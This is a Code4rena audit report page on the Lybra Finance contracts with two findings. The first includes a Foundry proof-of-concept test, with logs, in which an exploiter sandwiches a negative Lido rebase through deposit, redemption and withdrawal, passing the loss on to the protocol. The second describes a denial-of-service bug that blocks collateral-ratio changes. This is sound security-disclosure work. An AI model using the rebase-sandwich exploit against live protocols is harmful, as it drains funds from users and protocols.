Platform: Code4rena
Start Date: 23/06/2023
Pot Size: $60,500 USDC
Total HM: 31
Participants: 132
Period: 10 days
Judge: 0xean
Total Solo HM: 10
Id: 254
League: ETH
Rank: 27/132
Findings: 2
Award: $332.34
🌟 Selected for report: 2
🚀 Solo Findings: 0
🌟 Selected for report: georgypetrov
Also found by: 0xRobocop, 3agle, max10afternoon
263.2518 USDC - $263.25
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L79 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L103
Lybra keeps the exact amount of collateral as deposited ignoring any lido rebases. https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L79
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L103
That allows malicious users to sandwich negative rebase transactions with depositing and withdrawing their stETH saving the exact amount as before negative rebase. The user can wait for 3 days or have a fee discount using rigidRedemption
of self, which it makes applicable to a fee (safeCollateralRatio - 100) / safeCollateralRatio * redemptionFee
part of the deposit.
The protocol will have additional losses in that case because the negative rebase decreases the cost of stETH share and the protocol withdraws the same amount of stETH as deposited to the malicious user, transferring more shares than deposited.
Should be launched with mainnet fork
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {LybraProxy} from "@lybra/Proxy/LybraProxy.sol"; import {LybraProxyAdmin} from "@lybra/Proxy/LybraProxyAdmin.sol"; // import {AdminTimelock} from "@lybra/governance/AdminTimelock.sol"; import {GovernanceTimelock} from "@lybra/governance/GovernanceTimelock.sol"; // import {LybraWBETHVault} from "@lybra/pools/LybraWbETHVault.sol"; import {esLBR} from "@lybra/token/esLBR.sol"; import {LybraWstETHVault} from "@lybra/pools/LybraWstETHVault.sol"; // import {LybraRETHVault} from "@lybra/pools/LybraRETHVault.sol"; // import {PeUSD} from "@lybra/token/PeUSD.sol"; import {esLBRBoost} from "@lybra/miner/esLBRBoost.sol"; import {LBR} from "@lybra/token/LBR.sol"; import {LybraStETHDepositVault} from "@lybra/pools/LybraStETHVault.sol"; // import {StakingRewardsV2} from "@lybra/miner/stakerewardV2pool.sol"; // import {LybraGovernance} from "@lybra/governance/LybraGovernance.sol"; import {PeUSDMainnet} from "@lybra/token/PeUSDMainnetStableVision.sol"; import {ProtocolRewardsPool} from "@lybra/miner/ProtocolRewardsPool.sol"; // import {EUSD} from "@lybra/token/EUSD.sol"; import {Configurator} from "@lybra/configuration/LybraConfigurator.sol"; import {EUSDMiningIncentives} from "@lybra/miner/EUSDMiningIncentives.sol"; // import {LybraEUSDVaultBase} from "@lybra/pools/base/LybraEUSDVaultBase.sol"; // import {LybraPeUSDVaultBase} from "@lybra/pools/base/LybraPeUSDVaultBase.sol"; import {mockChainlink} from "@mocks/chainLinkMock.sol"; import {stETHMock} from "@mocks/stETHMock.sol"; import {EUSDMock} from "@mocks/mockEUSD.sol"; import {mockCurve} from "@mocks/mockCurve.sol"; import {mockUSDC} from "@mocks/mockUSDC.sol"; import {mockLBRPriceOracle} from "@mocks/mockLBRPriceOracle.sol"; /* remappings used @lybra=contracts/lybra/ @mocks=contracts/mocks/ */ contract LybraV2Test is Test { address goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23; LybraProxy proxy; LybraProxyAdmin admin; // AdminTimelock timeLock; GovernanceTimelock govTimeLock; // LybraWbETHVault wbETHVault; // esLBR lbr; // LybraWstETHVault stETHVault; mockChainlink oracle; mockLBRPriceOracle lbrOracleMock; esLBRBoost eslbrBoost; mockUSDC usdc; mockCurve curve; Configurator configurator; LBR lbr; esLBR eslbr; EUSDMock usd; EUSDMiningIncentives eusdMiningIncentives; ProtocolRewardsPool rewardsPool; LybraStETHDepositVault stETHVault; PeUSDMainnet peUsdMainnet; address owner = address(7); // admins && executers of GovernanceTimelock address[] govTimelockArr; address stETHWhale = 0x1982b2F5814301d4e9a8b0201555376e62F82428; IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84); address exploiter = address(0x1); function setUp() public { vm.startPrank(owner); oracle = new mockChainlink(); lbrOracleMock = new mockLBRPriceOracle(); govTimelockArr.push(owner); govTimeLock = new GovernanceTimelock( 1, govTimelockArr, govTimelockArr, owner ); eslbrBoost = new esLBRBoost(); usdc = new mockUSDC(); curve = new mockCurve(); // _dao , _curvePool configurator = new Configurator(address(govTimeLock), address(curve)); // _config , _sharedDecimals , _lzEndpoint lbr = new LBR(address(configurator), 8, goerliEndPoint); // _config eslbr = new esLBR(address(configurator)); // _config usd = new EUSDMock(address(configurator)); configurator.initToken(address(usd), address(peUsdMainnet)); // _config, _boost, _etherOracle, _lbrOracle eusdMiningIncentives = new EUSDMiningIncentives( address(configurator), address(eslbrBoost), address(oracle), address(lbrOracleMock) ); // _config rewardsPool = new ProtocolRewardsPool(address(configurator)); // _config, _stETH, _oracle stETHVault = new LybraStETHDepositVault( address(configurator), address(stETH), address(oracle) ); // _config, _sharedDecimals, _lzEndpoint peUsdMainnet = new PeUSDMainnet( address(configurator), 8, goerliEndPoint ); curve.setToken(address(usd), address(usdc)); configurator.setMintVault(address(stETHVault), true); configurator.setPremiumTradingEnabled(true); configurator.setMintVaultMaxSupply( address(stETHVault), 10_000_000_000 ether ); configurator.setBorrowApy(address(stETHVault), 200); configurator.setEUSDMiningIncentives(address(eusdMiningIncentives)); eusdMiningIncentives.setToken(address(lbr), address(eslbr)); rewardsPool.setTokenAddress( address(eslbr), address(lbr), address(eslbrBoost) ); // Missing configurator.initEUSD(this.EUSDMock.address) as initEUSD in configurator does not exist. // And it's not same as initToken. vm.stopPrank(); vm.startPrank(stETHWhale); stETH.approve(address(stETHVault), 1_000_000e18); stETHVault.depositAssetToMint(100_000e18, 0); stETH.transfer(exploiter, 1000e18); vm.stopPrank(); } function negativeRebaseLido() internal { bytes32 BUFFERED_ETHER_POSITION = 0xed310af23f61f96daefbcd140b306c0bdbf8c178398299741687b90e794772b0; // keccak256("lido.Lido.bufferedEther"); vm.store(address(stETH), BUFFERED_ETHER_POSITION, bytes32(0)); } function testV2AvoidingRebaseLossesWithRigid() public { console.log("lybra balance before rebase: ", stETH.balanceOf(address(stETHVault))); uint256 exploiterBalance = stETH.balanceOf(exploiter); vm.startPrank(exploiter); stETH.approve(address(stETHVault), exploiterBalance); console.log("exploiter balance before rebase: ", stETH.balanceOf(exploiter)); uint256 toBorrow = exploiterBalance * oracle.fetchPrice() * 100 / configurator.getSafeCollateralRatio(address(stETHVault)); stETHVault.depositAssetToMint(exploiterBalance, toBorrow); negativeRebaseLido(); configurator.becomeRedemptionProvider(true); stETHVault.rigidRedemption(exploiter, toBorrow); stETHVault.withdraw(exploiter, stETHVault.depositedAsset(exploiter)); console.log("exploiter balance after rebase: ", stETH.balanceOf(exploiter)); console.log("lybra balance after rebase: ", stETH.balanceOf(address(stETHVault))); vm.stopPrank(); } function testV2AvoidingRebaseLossesWaitFor3Days() public { console.log("lybra balance before rebase: ", stETH.balanceOf(address(stETHVault))); uint256 exploiterBalance = stETH.balanceOf(exploiter); vm.startPrank(exploiter); stETH.approve(address(stETHVault), exploiterBalance); console.log("exploiter balance before rebase: ", stETH.balanceOf(exploiter)); stETHVault.depositAssetToMint(exploiterBalance, 0); negativeRebaseLido(); vm.warp(block.timestamp + 3 days); stETHVault.withdraw(exploiter, exploiterBalance); console.log("exploiter balance after rebase: ", stETH.balanceOf(exploiter)); console.log("lybra balance after rebase: ", stETH.balanceOf(address(stETHVault))); vm.stopPrank(); } function testV2NormalRebaseLosses() public { console.log("lybra balance before rebase: ", stETH.balanceOf(address(stETHVault))); console.log("exploiter balance before rebase: ", stETH.balanceOf(exploiter)); negativeRebaseLido(); console.log("exploiter balance after rebase: ", stETH.balanceOf(exploiter)); console.log("lybra balance after rebase: ", stETH.balanceOf(address(stETHVault))); } }
logs:
Running 3 tests for test/LybraV2.sol:LybraV2Test [PASS] testV2AvoidingRebaseLossesWaitFor3Days() (gas: 166689) Logs: lybra balance before rebase: 99999999999999999999999 exploiter balance before rebase: 1000000000002315874593 exploiter balance after rebase: 1000000000002315874593 lybra balance after rebase: 99904387650376337889471 [PASS] testV2AvoidingRebaseLossesWithRigid() (gas: 393436) Logs: lybra balance before rebase: 99999999999999999999999 exploiter balance before rebase: 1000000000002315874593 exploiter balance after rebase: 999621875002314998902 lybra balance after rebase: 99904765775376338765162 [PASS] testV2NormalRebaseLosses() (gas: 74877) Logs: lybra balance before rebase: 99999999999999999999999 exploiter balance before rebase: 1000000000002315874593 exploiter balance after rebase: 999053343075346752371 lybra balance after rebase: 99905334307303307011693
Foundry, mainnet forking.
Need to handle losses in a different way than just waiting for positive rebases will cover losses or deprecate rebase collateral vaults.
Other
#0 - c4-pre-sort
2023-07-10T01:41:25Z
JeffCX marked the issue as primary issue
#1 - c4-pre-sort
2023-07-10T01:41:37Z
JeffCX marked the issue as high quality report
#2 - c4-pre-sort
2023-07-13T13:21:55Z
JeffCX marked the issue as duplicate of #964
#3 - c4-judge
2023-07-28T19:36:43Z
0xean marked the issue as not a duplicate
#4 - 0xean
2023-07-28T19:37:24Z
@c4-sponsor / @LybraFinance this one is slightly unique, and I believe incorrectly duped. Your response may be the same, but wanted to have you take a look.
#5 - c4-judge
2023-07-28T19:37:34Z
0xean marked the issue as satisfactory
#6 - c4-sponsor
2023-07-29T08:46:55Z
LybraFinance marked the issue as sponsor acknowledged
#7 - LybraFinance
2023-07-29T08:49:06Z
We chose to ignore the negative change of rebase.
#8 - c4-judge
2023-07-31T23:20:40Z
0xean marked the issue as primary issue
#9 - c4-judge
2023-08-02T14:39:29Z
0xean changed the severity to 2 (Med Risk)
#10 - c4-judge
2023-08-02T14:40:01Z
0xean marked the issue as selected for report
🌟 Selected for report: georgypetrov
Also found by: CrypticShepherd, DelerRH, Kenshin, LuchoLeonel1, SpicyMeatball, bart1e, ktg, pep7siup
69.0878 USDC - $69.09
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L199 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L30 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L18
Because of vaultType
variable is internal vaultType
staticcall to vaults from the configurator will revert, so it makes it impossible to change safeCollateralRatio
. It may be critical when market conditions will change, something happens with ETH.
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {GovernanceTimelock} from "@lybra/governance/GovernanceTimelock.sol"; import {LybraStETHDepositVault} from "@lybra/pools/LybraStETHVault.sol"; import {Configurator} from "@lybra/configuration/LybraConfigurator.sol"; import {mockEtherPriceOracle} from "@mocks/mockEtherPriceOracle.sol"; import {mockCurve} from "@mocks/mockCurve.sol"; /* remappings used @lybra=contracts/lybra/ @mocks=contracts/mocks/ */ contract LybraV2SafeCollateral is Test { GovernanceTimelock govTimeLock; mockEtherPriceOracle oracle; mockCurve curve; Configurator configurator; LybraStETHDepositVault stETHVault; address owner = address(7); // admins && executers of GovernanceTimelock address[] govTimelockArr; IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84); function setUp() public { vm.startPrank(owner); oracle = new mockEtherPriceOracle(); govTimelockArr.push(owner); govTimeLock = new GovernanceTimelock( 1, govTimelockArr, govTimelockArr, owner ); curve = new mockCurve(); // _dao , _curvePool configurator = new Configurator(address(govTimeLock), address(curve)); stETHVault = new LybraStETHDepositVault( address(configurator), address(stETH), address(oracle) ); vm.stopPrank(); } function testSafeCollateral() public { vm.startPrank(owner); configurator.setSafeCollateralRatio(address(stETHVault), 165 * 1e18); } }
Foundry
Change getter function in LybraConfigurator
:
interface IVault { function getVaultType() external view returns (uint8); } ... ... if(IVault(pool).getVaultType() == 0) {
DoS
#0 - c4-pre-sort
2023-07-08T18:31:58Z
JeffCX marked the issue as high quality report
#1 - c4-pre-sort
2023-07-08T18:32:05Z
JeffCX marked the issue as primary issue
#2 - c4-sponsor
2023-07-18T06:30:25Z
LybraFinance marked the issue as sponsor confirmed
#3 - c4-judge
2023-07-26T12:43:50Z
0xean marked the issue as satisfactory
#4 - c4-judge
2023-07-28T20:36:20Z
0xean marked the issue as selected for report